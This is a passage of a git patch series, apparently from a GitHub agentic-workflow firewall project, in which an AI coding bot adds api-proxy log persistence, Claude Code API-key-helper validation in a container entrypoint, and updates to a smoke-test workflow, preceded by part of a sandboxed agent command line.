'*.githubusercontent.com,anthropic.com,api.anthropic.com,api.github.com,api.snapcraft.io,archive.ubuntu.com,azure.archive.ubuntu.com,cdn.playwright.dev,codeload.github.com,crl.geotrust.com,crl.globalsign.com,crl.identrust.com,crl.sectigo.com,crl.thawte.com,crl.usertrust.com,crl.verisign.com,crl3.digicert.com,crl4.digicert.com,crls.ssl.com,files.pythonhosted.org,ghcr.io,github-cloud.githubusercontent.com,github-cloud.s3.amazonaws.com,github.com,github.githubassets.com,host.docker.internal,json-schema.org,json.schemastore.org,keyserver.ubuntu.com,lfs.github.com,objects.githubusercontent.com,ocsp.digicert.com,ocsp.geotrust.com,ocsp.globalsign.com,ocsp.identrust.com,ocsp.sectigo.com,ocsp.ssl.com,ocsp.thawte.com,ocsp.usertrust.com,ocsp.verisign.com,packagecloud.io,packages.cloud.google.com,packages.microsoft.com,playwright.download.prss.microsoft.com,ppa.launchpad.net,pypi.org,raw.githubusercontent.com,registry.npmjs.org,s.symcb.com,s.symcd.com,security.ubuntu.com,sentry.io,statsig.anthropic.com,ts-crl.ws.symantec.com,ts-ocsp.ws.symantec.com' --log-level info --proxy-logs-dir /tmp/gh-aw/sandbox/firewall/logs --enable-host-access --enable-api-proxy --build-local \ - -- /bin/bash -c 'export PATH="$(find /opt/hostedtoolcache -maxdepth 4 -type d -name bin 2>/dev/null | tr '\''\n'\'' '\'':'\'')$PATH"; [ -n "$GOROOT" ] && export PATH="$GOROOT/bin:$PATH" || true && mkdir -p ~/.claude && echo '\''{"apiKeyHelper":"/usr/local/bin/get-claude-key.sh"}'\'' > ~/.claude/config.json && unset ANTHROPIC_API_KEY ANTHROPIC_AUTH_TOKEN && claude --print --disable-slash-commands --no-chrome --max-turns 15 --mcp-config /tmp/gh-aw/mcp-config/mcp-servers.json --allowed-tools '\''Bash,BashOutput,Edit,Edit(/tmp/gh-aw/cache-memory/*),ExitPlanMode,Glob,Grep,KillBash,LS,MultiEdit,MultiEdit(/tmp/gh-aw/cache-memory/*),NotebookEdit,NotebookRead,Read,Read(/tmp/gh-aw/cache-memory/*),Task,TodoWrite,Write,Write(/tmp/gh-aw/cache-memory/*),mcp__github__download_workflow_run_artifact,mcp__github__get_code_scanning_alert,mcp__github__get_commit,mcp__github__get_dependabot_alert,mcp__github__get_discussion,mcp__github__get_discussion_comments,mcp__github__get_file_contents,mcp__github__get_job_logs,mcp__github__get_label,mcp__github__get_latest_release,mcp__github__get_me,mcp__github__get_notification_details,mcp__github__get_pull_request,mcp__github__get_pull_request_comments,mcp__github__get_pull_request_diff,mcp__github__get_pull_request_files,mcp__github__get_pull_request_review_comments,mcp__github__get_pull_request_reviews,mcp__github__get_pull_request_status,mcp__github__get_release_by_tag,mcp__github__get_secret_scanning_alert,mcp__github__get_tag,mcp__github__get_workflow_run,mcp__github__get_workflow_run_logs,mcp__github__get_workflow_run_usage,mcp__github__issue_read,mcp__github__list_branches,mcp__github__list_code_scanning_alerts,mcp__github__list_commits,mcp__github__list_dependabot_alerts,mcp__github__list_discussion_categories,mcp__github__list_discussions,mcp__github__list_issue_types,mcp__github__list_issues,mcp__github__list_label,mcp__github__list_notifications,mcp__github__list_pull_requests,mcp__github__list_releases,mcp__github__list_secret_scanning_alerts,mcp__github__list_starred_repositories,mcp__github__list_tags,mcp__github__list_workflow_jobs,mcp__github__list_workflow_run_artifacts,mcp__github__list_workflow_runs,mcp__github__list_workflows,mcp__github__pull_request_read,mcp__github__search_code,mcp__github__search_issues,mcp__github__search_orgs,mcp__github__search_pull_requests,mcp__github__search_repositories,mcp__github__search_users,mcp__playwright__browser_click,mcp__playwright__browser_close,mcp__playwright__browser_console_messages,mcp__playwright__browser_drag,mcp__playwright__browser_evaluate,mcp__playwright__browser_file_upload,mcp__playwright__browser_fill_form,mcp__playwright__browser_handle_dialog,mcp__playwright__browser_hover,mcp__playwright__browser_install,mcp__playwright__browser_navigate,mcp__playwright__browser_navigate_back,mcp__playwright__browser_network_requests,mcp__playwright__browser_press_key,mcp__playwright__browser_resize,mcp__playwright__browser_select_option,mcp__playwright__browser_snapshot,mcp__playwright__browser_tabs,mcp__playwright__browser_take_screenshot,mcp__playwright__browser_type,mcp__playwright__browser_wait_for'\'' --debug-file /tmp/gh-aw/agent-stdio.log --verbose --permission-mode bypassPermissions --output-format stream-json "$(cat /tmp/gh-aw/aw-prompts/prompt.txt)"${GH_AW_MODEL_AGENT_CLAUDE:+ --model "$GH_AW_MODEL_AGENT_CLAUDE"}' 2>&1 | tee -a /tmp/gh-aw/agent-stdio.log + -- /bin/bash -c 'export PATH="$(find /opt/hostedtoolcache -maxdepth 4 -type d -name bin 2>/dev/null | tr '\''\n'\'' '\'':'\'')$PATH"; [ -n "$GOROOT" ] && export PATH="$GOROOT/bin:$PATH" || true && mkdir -p ~/.claude && echo '\''{"apiKeyHelper":"/usr/local/bin/get-claude-key.sh"}'\'' > ~/.claude/config.json && unset ANTHROPIC_API_KEY ANTHROPIC_AUTH_TOKEN HTTP_PROXY HTTPS_PROXY http_proxy https_proxy && claude --print --disable-slash-commands --no-chrome --max-turns 15 --mcp-config /tmp/gh-aw/mcp-config/mcp-servers.json --allowed-tools '\''Bash,BashOutput,Edit,Edit(/tmp/gh-aw/cache-memory/*),ExitPlanMode,Glob,Grep,KillBash,LS,MultiEdit,MultiEdit(/tmp/gh-aw/cache-memory/*),NotebookEdit,NotebookRead,Read,Read(/tmp/gh-aw/cache-memory/*),Task,TodoWrite,Write,Write(/tmp/gh-aw/cache-memory/*),mcp__github__download_workflow_run_artifact,mcp__github__get_code_scanning_alert,mcp__github__get_commit,mcp__github__get_dependabot_alert,mcp__github__get_discussion,mcp__github__get_discussion_comments,mcp__github__get_file_contents,mcp__github__get_job_logs,mcp__github__get_label,mcp__github__get_latest_release,mcp__github__get_me,mcp__github__get_notification_details,mcp__github__get_pull_request,mcp__github__get_pull_request_comments,mcp__github__get_pull_request_diff,mcp__github__get_pull_request_files,mcp__github__get_pull_request_review_comments,mcp__github__get_pull_request_reviews,mcp__github__get_pull_request_status,mcp__github__get_release_by_tag,mcp__github__get_secret_scanning_alert,mcp__github__get_tag,mcp__github__get_workflow_run,mcp__github__get_workflow_run_logs,mcp__github__get_workflow_run_usage,mcp__github__issue_read,mcp__github__list_branches,mcp__github__list_code_scanning_alerts,mcp__github__list_commits,mcp__github__list_dependabot_alerts,mcp__github__list_discussion_categories,mcp__github__list_discussions,mcp__github__list_issue_types,mcp__github__list_issues,mcp__github__list_label,mcp__github__list_notifications,mcp__github__list_pull_requests,mcp__github__list_releases,mcp__github__list_secret_scanning_alerts,mcp__github__list_starred_repositories,mcp__github__list_tags,mcp__github__list_workflow_jobs,mcp__github__list_workflow_run_artifacts,mcp__github__list_workflow_runs,mcp__github__list_workflows,mcp__github__pull_request_read,mcp__github__search_code,mcp__github__search_issues,mcp__github__search_orgs,mcp__github__search_pull_requests,mcp__github__search_repositories,mcp__github__search_users,mcp__playwright__browser_click,mcp__playwright__browser_close,mcp__playwright__browser_console_messages,mcp__playwright__browser_drag,mcp__playwright__browser_evaluate,mcp__playwright__browser_file_upload,mcp__playwright__browser_fill_form,mcp__playwright__browser_handle_dialog,mcp__playwright__browser_hover,mcp__playwright__browser_install,mcp__playwright__browser_navigate,mcp__playwright__browser_navigate_back,mcp__playwright__browser_network_requests,mcp__playwright__browser_press_key,mcp__playwright__browser_resize,mcp__playwright__browser_select_option,mcp__playwright__browser_snapshot,mcp__playwright__browser_tabs,mcp__playwright__browser_take_screenshot,mcp__playwright__browser_type,mcp__playwright__browser_wait_for'\'' --debug-file /tmp/gh-aw/agent-stdio.log --verbose --permission-mode bypassPermissions --output-format stream-json "$(cat /tmp/gh-aw/aw-prompts/prompt.txt)"${GH_AW_MODEL_AGENT_CLAUDE:+ --model "$GH_AW_MODEL_AGENT_CLAUDE"}' 2>&1 | tee -a /tmp/gh-aw/agent-stdio.log env: ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} BASH_DEFAULT_TIMEOUT_MS: 60000 From f62c1481de65b3ddca9f0101397e7d34be9e22f1 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 16:34:10 +0000 Subject: [PATCH 13/29] feat(logs): add api-proxy log persistence and preservation - Add volume mount for api-proxy logs in docker-compose - Redirect api-proxy stdout/stderr to /var/log/api-proxy/api-proxy.log - Create api-proxy logs directory during writeConfigs() - Preserve api-proxy logs after cleanup (similar to squid logs) - Support both proxyLogsDir (workflow mode) and default mode - When proxyLogsDir is set, write logs to sibling directory - When proxyLogsDir is not set, move logs to /tmp/api-proxy-logs- - Fix permissions on preserved logs for GitHub Actions artifact upload This ensures api-proxy logs are accessible after smoke-claude and smoke-codex workflows finish, as requested in comment 3902135209. --- containers/api-proxy/Dockerfile | 5 ++-- src/docker-manager.ts | 51 +++++++++++++++++++++++++++++++++ 2 files changed, 54 insertions(+), 2 deletions(-) diff --git a/containers/api-proxy/Dockerfile b/containers/api-proxy/Dockerfile index 7f8459f64..3e8d8d850 100644 --- a/containers/api-proxy/Dockerfile +++ b/containers/api-proxy/Dockerfile @@ -28,5 +28,6 @@ USER apiproxy # 10001 - Anthropic API proxy EXPOSE 10000 10001 -# Start the proxy server -CMD ["node", "server.js"] +# Redirect stdout/stderr to log file for persistence +# Use shell form to enable redirection and tee for both file and console +CMD node server.js 2>&1 | tee -a /var/log/api-proxy/api-proxy.log diff --git a/src/docker-manager.ts b/src/docker-manager.ts index c786a4acd..24c164fe0 100644 --- a/src/docker-manager.ts +++ b/src/docker-manager.ts @@ -242,6 +242,12 @@ export function generateDockerCompose( // Squid logs path: use proxyLogsDir if specified (direct write), otherwise workDir/squid-logs const squidLogsPath = config.proxyLogsDir || `${config.workDir}/squid-logs`; + // API proxy logs path: if proxyLogsDir is specified, write to sibling directory + // Otherwise, write to workDir/api-proxy-logs (will be moved to /tmp after cleanup) + const apiProxyLogsPath = config.proxyLogsDir + ? path.join(path.dirname(config.proxyLogsDir), 'api-proxy-logs') + : path.join(config.workDir, 'api-proxy-logs'); + // Build Squid volumes list const squidVolumes = [ `${config.workDir}/squid.conf:/etc/squid/squid.conf:ro`, @@ -931,6 +937,10 @@ export function generateDockerCompose( ipv4_address: networkConfig.proxyIp, }, }, + volumes: [ + // Mount log directory for api-proxy logs + `${apiProxyLogsPath}:/var/log/api-proxy:rw`, + ], environment: { // Pass API keys securely to sidecar (not visible to agent) ...(config.openaiApiKey && { OPENAI_API_KEY: config.openaiApiKey }), @@ -1039,6 +1049,20 @@ export async function writeConfigs(config: WrapperConfig): Promise { } logger.debug(`Squid logs directory created at: ${squidLogsDir}`); + // Create api-proxy logs directory for persistence + // If proxyLogsDir is specified, write to sibling directory (timeout-safe) + // Otherwise, write to workDir/api-proxy-logs (will be moved to /tmp after cleanup) + // Note: API proxy runs as user 'apiproxy' (non-root) + const apiProxyLogsDir = config.proxyLogsDir + ? path.join(path.dirname(config.proxyLogsDir), 'api-proxy-logs') + : path.join(config.workDir, 'api-proxy-logs'); + if (!fs.existsSync(apiProxyLogsDir)) { + fs.mkdirSync(apiProxyLogsDir, { recursive: true, mode: 0o777 }); + // Explicitly set permissions to 0o777 (not affected by umask) + fs.chmodSync(apiProxyLogsDir, 0o777); + } + logger.debug(`API proxy logs directory created at: ${apiProxyLogsDir}`); + // Create /tmp/gh-aw/mcp-logs directory // This directory exists on the HOST for MCP gateway to write logs // Inside the AWF container, it's hidden via tmpfs mount (see generateDockerCompose) @@ -1465,6 +1489,33 @@ export async function cleanup(workDir: string, keepFiles: boolean, proxyLogsDir? } } + // Preserve api-proxy logs before cleanup + if (proxyLogsDir) { + // Logs were written directly to sibling of proxyLogsDir during runtime (timeout-safe) + // Just fix permissions so they're readable + const apiProxyLogsDir = path.join(path.dirname(proxyLogsDir), 'api-proxy-logs'); + if (fs.existsSync(apiProxyLogsDir)) { + try { + execa.sync('chmod', ['-R', 'a+rX', apiProxyLogsDir]); + logger.info(`API proxy logs available at: ${apiProxyLogsDir}`); + } catch (error) { + logger.debug('Could not fix api-proxy log permissions:', error); + } + } + } else { + // Default behavior: move from workDir/api-proxy-logs to timestamped /tmp directory + const apiProxyLogsDir = path.join(workDir, 'api-proxy-logs'); + const apiProxyLogsDestination = path.join(os.tmpdir(), `api-proxy-logs-${timestamp}`); + if (fs.existsSync(apiProxyLogsDir) && fs.readdirSync(apiProxyLogsDir).length > 0) { + try { + fs.renameSync(apiProxyLogsDir, apiProxyLogsDestination); + logger.info(`API proxy logs preserved at: ${apiProxyLogsDestination}`); + } catch (error) { + logger.debug('Could not preserve api-proxy logs:', error); + } + } + } + // Handle squid logs if (proxyLogsDir) { // Logs were written directly to proxyLogsDir during runtime (timeout-safe) From 79b23be4e53808e35c42f871e12b41285d861052 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 16:51:01 +0000 Subject: [PATCH 14/29] fix: add claude code api key helper validation and ttl config - Add validation in entrypoint.sh to verify apiKeyHelper is in config file - Check config file exists at ~/.claude/config.json - Verify apiKeyHelper field matches CLAUDE_CODE_API_KEY_HELPER env var - Exit with error if validation fails to prevent using wrong credentials - Add CLAUDE_CODE_API_KEY_HELPER_TTL_MS=3600000 to smoke-claude workflow - Ensures Claude Code properly detects and uses the API key helper script Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- .github/workflows/smoke-claude.lock.yml | 1 + containers/agent/entrypoint.sh | 35 +++++++++++++++++++++++++ 2 files changed, 36 insertions(+) diff --git a/.github/workflows/smoke-claude.lock.yml b/.github/workflows/smoke-claude.lock.yml index bdb924fe5..0dd53f719 100644 --- a/.github/workflows/smoke-claude.lock.yml +++ b/.github/workflows/smoke-claude.lock.yml @@ -792,6 +792,7 @@ jobs: BASH_DEFAULT_TIMEOUT_MS: 60000 BASH_MAX_TIMEOUT_MS: 60000 CLAUDE_CODE_API_KEY_HELPER: /usr/local/bin/get-claude-key.sh + CLAUDE_CODE_API_KEY_HELPER_TTL_MS: 3600000 CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} DISABLE_BUG_COMMAND: 1 DISABLE_ERROR_REPORTING: 1 diff --git a/containers/agent/entrypoint.sh b/containers/agent/entrypoint.sh index 0aa01ad59..37aed27bf 100644 --- a/containers/agent/entrypoint.sh +++ b/containers/agent/entrypoint.sh @@ -119,6 +119,41 @@ fi # If health check fails, the script exits with non-zero code and prevents agent from running /usr/local/bin/api-proxy-health-check.sh || exit 1 +# Validate Claude Code API key helper configuration +# This ensures the apiKeyHelper is properly configured in the config file +# If validation fails, exit before running the agent to prevent using wrong credentials +if [ -n "$CLAUDE_CODE_API_KEY_HELPER" ]; then + echo "[entrypoint] Validating Claude Code API key helper configuration..." + + # Check if config file exists + CONFIG_FILE="$HOME/.claude/config.json" + if [ ! -f "$CONFIG_FILE" ]; then + echo "[entrypoint][ERROR] Claude Code config file not found at $CONFIG_FILE" + echo "[entrypoint][ERROR] Cannot verify apiKeyHelper configuration" + exit 1 + fi + + # Check if apiKeyHelper is present in config file + if ! grep -q '"apiKeyHelper"' "$CONFIG_FILE"; then + echo "[entrypoint][ERROR] apiKeyHelper not found in Claude Code config file" + echo "[entrypoint][ERROR] Expected: {\"apiKeyHelper\":\"$CLAUDE_CODE_API_KEY_HELPER\"}" + echo "[entrypoint][ERROR] Actual config:" + cat "$CONFIG_FILE" >&2 + exit 1 + fi + + # Verify the value matches the environment variable + CONFIGURED_HELPER=$(grep -o '"apiKeyHelper":"[^"]*"' "$CONFIG_FILE" | cut -d'"' -f4) + if [ "$CONFIGURED_HELPER" != "$CLAUDE_CODE_API_KEY_HELPER" ]; then + echo "[entrypoint][ERROR] apiKeyHelper mismatch:" + echo "[entrypoint][ERROR] Environment variable: $CLAUDE_CODE_API_KEY_HELPER" + echo "[entrypoint][ERROR] Config file value: $CONFIGURED_HELPER" + exit 1 + fi + + echo "[entrypoint] ✓ Claude Code API key helper validated: $CLAUDE_CODE_API_KEY_HELPER" +fi + # Print proxy environment echo "[entrypoint] Proxy configuration:" echo "[entrypoint] HTTP_PROXY=$HTTP_PROXY" From a412f8eab098aa9a58b7a034bbae3d1cd9c1d577 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 16:57:40 +0000 Subject: [PATCH 15/29] fix: make claude code api key helper validation conditional MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The validation was failing in smoke-claude workflow because: - Entrypoint validation runs before the user command executes - The config file (~/.claude/config.json) is created by the user command - Previous implementation required config file to exist, causing exit 1 Changes: - Made validation conditional: only validate if config file exists - If config file doesn't exist, log informative message and continue - This allows user commands to create the config file after entrypoint runs - Validation still occurs when config file exists (e.g., mounted from host) Fixes comment 3902171070 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Sonnet 4.5 --- containers/agent/entrypoint.sh | 50 ++++++++++++++++++---------------- 1 file changed, 26 insertions(+), 24 deletions(-) diff --git a/containers/agent/entrypoint.sh b/containers/agent/entrypoint.sh index 37aed27bf..2fdc00687 100644 --- a/containers/agent/entrypoint.sh +++ b/containers/agent/entrypoint.sh @@ -123,35 +123,37 @@ fi # This ensures the apiKeyHelper is properly configured in the config file # If validation fails, exit before running the agent to prevent using wrong credentials if [ -n "$CLAUDE_CODE_API_KEY_HELPER" ]; then - echo "[entrypoint] Validating Claude Code API key helper configuration..." + echo "[entrypoint] Claude Code API key helper configured: $CLAUDE_CODE_API_KEY_HELPER" - # Check if config file exists + # Check if config file exists - if it does, validate it + # If it doesn't exist yet, skip validation (it may be created by the user command) CONFIG_FILE="$HOME/.claude/config.json" - if [ ! -f "$CONFIG_FILE" ]; then - echo "[entrypoint][ERROR] Claude Code config file not found at $CONFIG_FILE" - echo "[entrypoint][ERROR] Cannot verify apiKeyHelper configuration" - exit 1 - fi + if [ -f "$CONFIG_FILE" ]; then + echo "[entrypoint] Validating existing Claude Code config file..." + + # Check if apiKeyHelper is present in config file + if ! grep -q '"apiKeyHelper"' "$CONFIG_FILE"; then + echo "[entrypoint][ERROR] apiKeyHelper not found in Claude Code config file" + echo "[entrypoint][ERROR] Expected: {\"apiKeyHelper\":\"$CLAUDE_CODE_API_KEY_HELPER\"}" + echo "[entrypoint][ERROR] Actual config:" + cat "$CONFIG_FILE" >&2 + exit 1 + fi - # Check if apiKeyHelper is present in config file - if ! grep -q '"apiKeyHelper"' "$CONFIG_FILE"; then - echo "[entrypoint][ERROR] apiKeyHelper not found in Claude Code config file" - echo "[entrypoint][ERROR] Expected: {\"apiKeyHelper\":\"$CLAUDE_CODE_API_KEY_HELPER\"}" - echo "[entrypoint][ERROR] Actual config:" - cat "$CONFIG_FILE" >&2 - exit 1 - fi + # Verify the value matches the environment variable + CONFIGURED_HELPER=$(grep -o '"apiKeyHelper":"[^"]*"' "$CONFIG_FILE" | cut -d'"' -f4) + if [ "$CONFIGURED_HELPER" != "$CLAUDE_CODE_API_KEY_HELPER" ]; then + echo "[entrypoint][ERROR] apiKeyHelper mismatch:" + echo "[entrypoint][ERROR] Environment variable: $CLAUDE_CODE_API_KEY_HELPER" + echo "[entrypoint][ERROR] Config file value: $CONFIGURED_HELPER" + exit 1 + fi - # Verify the value matches the environment variable - CONFIGURED_HELPER=$(grep -o '"apiKeyHelper":"[^"]*"' "$CONFIG_FILE" | cut -d'"' -f4) - if [ "$CONFIGURED_HELPER" != "$CLAUDE_CODE_API_KEY_HELPER" ]; then - echo "[entrypoint][ERROR] apiKeyHelper mismatch:" - echo "[entrypoint][ERROR] Environment variable: $CLAUDE_CODE_API_KEY_HELPER" - echo "[entrypoint][ERROR] Config file value: $CONFIGURED_HELPER" - exit 1 + echo "[entrypoint] ✓ Claude Code API key helper validated: $CLAUDE_CODE_API_KEY_HELPER" + else + echo "[entrypoint] Config file not found yet - will be created by user command" + echo "[entrypoint] Environment variable set: CLAUDE_CODE_API_KEY_HELPER=$CLAUDE_CODE_API_KEY_HELPER" fi - - echo "[entrypoint] ✓ Claude Code API key helper validated: $CLAUDE_CODE_API_KEY_HELPER" fi # Print proxy environment From eefeff9bae5454a7d70c757d8315d2defdbb22ab Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 17:08:52 +0000 Subject: [PATCH 16/29] feat: add post-step to display final claude code config Added diagnostic step to cat both ~/.claude/config.json and ~/.claude.json after Claude Code execution completes. This helps verify that config updates preserve previous values and shows the final state for debugging. The step runs with if: always() to ensure config is shown even if tests fail. Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- .github/workflows/smoke-claude.lock.yml | 273 +++++++++++++----------- .github/workflows/smoke-claude.md | 17 ++ 2 files changed, 163 insertions(+), 127 deletions(-) diff --git a/.github/workflows/smoke-claude.lock.yml b/.github/workflows/smoke-claude.lock.yml index 0dd53f719..131ea90cd 100644 --- a/.github/workflows/smoke-claude.lock.yml +++ b/.github/workflows/smoke-claude.lock.yml @@ -13,11 +13,13 @@ # \ /\ / (_) | | | | ( | | | | (_) \ V V /\__ \ # \/ \/ \___/|_| |_|\_\|_| |_|\___/ \_/\_/ |___/ # -# This file was automatically generated by gh-aw (v0.42.17). DO NOT EDIT. +# This file was automatically generated by gh-aw (v0.43.23). DO NOT EDIT. # # To update this file, edit the corresponding .md file and run: # gh aw compile -# For more information: https://github.com/github/gh-aw/blob/main/.github/aw/github-agentic-workflows.md +# Not all edits will cause changes to this file. +# +# For more information: https://github.github.com/gh-aw/introduction/overview/ # # Smoke test workflow that validates Claude engine functionality by reviewing recent PRs twice daily # @@ -25,7 +27,7 @@ # Imports: # - shared/mcp-pagination.md # -# frontmatter-hash: 26c136ea17d1ecfba9a4fbc8dee8343f290fdaaf308d7e2efaaf5317d2bc75db +# frontmatter-hash: 5aa2e5c0484ef2b480a130f0879df7d9dbb43087d50d42b4a9edebaea63365fd name: "Smoke Claude" "on": @@ -61,11 +63,11 @@ jobs: comment_url: ${{ steps.add-comment.outputs.comment-url }} steps: - name: Setup Scripts - uses: github/gh-aw/actions/setup@7a970851c1090295e55a16e549c61ba1ce227f16 # v0.42.17 + uses: github/gh-aw/actions/setup@v0.43.23 with: destination: /opt/gh-aw/actions - name: Check workflow file timestamps - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: GH_AW_WORKFLOW_FILE: "smoke-claude.lock.yml" with: @@ -77,7 +79,7 @@ jobs: - name: Add comment with workflow run link id: add-comment if: github.event_name == 'issues' || github.event_name == 'issue_comment' || github.event_name == 'pull_request_review_comment' || github.event_name == 'discussion' || github.event_name == 'discussion_comment' || (github.event_name == 'pull_request') && (github.event.pull_request.head.repo.id == github.repository_id) - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: GH_AW_WORKFLOW_NAME: "Smoke Claude" GH_AW_SAFE_OUTPUT_MESSAGES: "{\"footer\":\"\\u003e 💥 *[THE END] — Illustrated by [{workflow_name}]({run_url})*\",\"runStarted\":\"💥 **WHOOSH!** [{workflow_name}]({run_url}) springs into action on this {event_type}! *[Panel 1 begins...]*\",\"runSuccess\":\"🎬 **THE END** — [{workflow_name}]({run_url}) **MISSION: ACCOMPLISHED!** The hero saves the day! ✨\",\"runFailure\":\"💫 **TO BE CONTINUED...** [{workflow_name}]({run_url}) {status}! Our hero faces unexpected challenges...\"}" @@ -104,6 +106,7 @@ jobs: GH_AW_SAFE_OUTPUTS: /opt/gh-aw/safeoutputs/outputs.jsonl GH_AW_SAFE_OUTPUTS_CONFIG_PATH: /opt/gh-aw/safeoutputs/config.json GH_AW_SAFE_OUTPUTS_TOOLS_PATH: /opt/gh-aw/safeoutputs/tools.json + GH_AW_WORKFLOW_ID_SANITIZED: smokeclaude outputs: checkout_pr_success: ${{ steps.checkout-pr.outputs.checkout_pr_success || 'true' }} has_patch: ${{ steps.collect_output.outputs.has_patch }} @@ -113,11 +116,11 @@ jobs: secret_verification_result: ${{ steps.validate-secret.outputs.verification_result }} steps: - name: Setup Scripts - uses: github/gh-aw/actions/setup@7a970851c1090295e55a16e549c61ba1ce227f16 # v0.42.17 + uses: github/gh-aw/actions/setup@v0.43.23 with: destination: /opt/gh-aw/actions - - name: Checkout .github and .agents folders - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6 + - name: Checkout repository + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false - name: Create gh-aw temp directory @@ -128,11 +131,10 @@ jobs: - name: Restore cache-memory file share data uses: actions/cache/restore@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0 with: - key: memory-${{ github.workflow }}-${{ github.run_id }} + key: memory-${{ env.GH_AW_WORKFLOW_ID_SANITIZED }}-${{ github.run_id }} path: /tmp/gh-aw/cache-memory restore-keys: | - memory-${{ github.workflow }}- - memory- + memory-${{ env.GH_AW_WORKFLOW_ID_SANITIZED }}- - name: Configure Git credentials env: REPO_NAME: ${{ github.repository }} @@ -148,7 +150,7 @@ jobs: id: checkout-pr if: | github.event.pull_request - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: GH_TOKEN: ${{ secrets.GH_AW_GITHUB_MCP_SERVER_TOKEN || secrets.GH_AW_GITHUB_TOKEN || secrets.GITHUB_TOKEN }} with: @@ -158,6 +160,51 @@ jobs: setupGlobals(core, github, context, exec, io); const { main } = require('/opt/gh-aw/actions/checkout_pr_branch.cjs'); await main(); + - name: Generate agentic run info + id: generate_aw_info + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 + with: + script: | + const fs = require('fs'); + + const awInfo = { + engine_id: "claude", + engine_name: "Claude Code", + model: process.env.GH_AW_MODEL_AGENT_CLAUDE || "", + version: "", + agent_version: "2.1.39", + cli_version: "v0.43.23", + workflow_name: "Smoke Claude", + experimental: false, + supports_tools_allowlist: true, + supports_http_transport: true, + run_id: context.runId, + run_number: context.runNumber, + run_attempt: process.env.GITHUB_RUN_ATTEMPT, + repository: context.repo.owner + '/' + context.repo.repo, + ref: context.ref, + sha: context.sha, + actor: context.actor, + event_name: context.eventName, + staged: false, + allowed_domains: ["defaults","github","playwright"], + firewall_enabled: true, + awf_version: "v0.17.0", + awmg_version: "", + steps: { + firewall: "squid" + }, + created_at: new Date().toISOString() + }; + + // Write to /tmp/gh-aw directory to avoid inclusion in PR + const tmpPath = '/tmp/gh-aw/aw_info.json'; + fs.writeFileSync(tmpPath, JSON.stringify(awInfo, null, 2)); + console.log('Generated aw_info.json at:', tmpPath); + console.log(JSON.stringify(awInfo, null, 2)); + + // Set model as output for reuse in other steps/jobs + core.setOutput('model', awInfo.model); - name: Validate CLAUDE_CODE_OAUTH_TOKEN or ANTHROPIC_API_KEY secret id: validate-secret run: /opt/gh-aw/actions/validate_multi_secret.sh CLAUDE_CODE_OAUTH_TOKEN ANTHROPIC_API_KEY 'Claude Code' https://github.github.com/gh-aw/reference/engines/#anthropic-claude-code @@ -165,7 +212,7 @@ jobs: CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} - name: Setup Node.js - uses: actions/setup-node@395ad3262231945c25e8478fd5baf05154b1d79f # v6.1.0 + uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6.2.0 with: node-version: '24' package-manager-cache: false @@ -195,28 +242,28 @@ jobs: EOF sudo chmod +x /usr/local/bin/awf - name: Install Claude Code CLI - run: npm install -g --silent @anthropic-ai/claude-code@2.1.34 + run: npm install -g --silent @anthropic-ai/claude-code@2.1.39 - name: Determine automatic lockdown mode for GitHub MCP server id: determine-automatic-lockdown - env: - TOKEN_CHECK: ${{ secrets.GH_AW_GITHUB_MCP_SERVER_TOKEN }} - if: env.TOKEN_CHECK != '' uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 + env: + GH_AW_GITHUB_TOKEN: ${{ secrets.GH_AW_GITHUB_TOKEN }} + GH_AW_GITHUB_MCP_SERVER_TOKEN: ${{ secrets.GH_AW_GITHUB_MCP_SERVER_TOKEN }} with: script: | const determineAutomaticLockdown = require('/opt/gh-aw/actions/determine_automatic_lockdown.cjs'); await determineAutomaticLockdown(github, context, core); - name: Download container images - run: bash /opt/gh-aw/actions/download_docker_images.sh ghcr.io/github/gh-aw-firewall/agent:0.13.12 ghcr.io/github/gh-aw-firewall/squid:0.13.12 ghcr.io/github/gh-aw-mcpg:v0.0.113 ghcr.io/github/github-mcp-server:v0.30.3 mcr.microsoft.com/playwright/mcp node:lts-alpine + run: bash /opt/gh-aw/actions/download_docker_images.sh ghcr.io/github/gh-aw-firewall/agent:0.17.0 ghcr.io/github/gh-aw-firewall/api-proxy:0.17.0 ghcr.io/github/gh-aw-firewall/squid:0.17.0 ghcr.io/github/gh-aw-mcpg:v0.1.4 ghcr.io/github/github-mcp-server:v0.30.3 mcr.microsoft.com/playwright/mcp node:lts-alpine - name: Write Safe Outputs Config run: | mkdir -p /opt/gh-aw/safeoutputs mkdir -p /tmp/gh-aw/safeoutputs mkdir -p 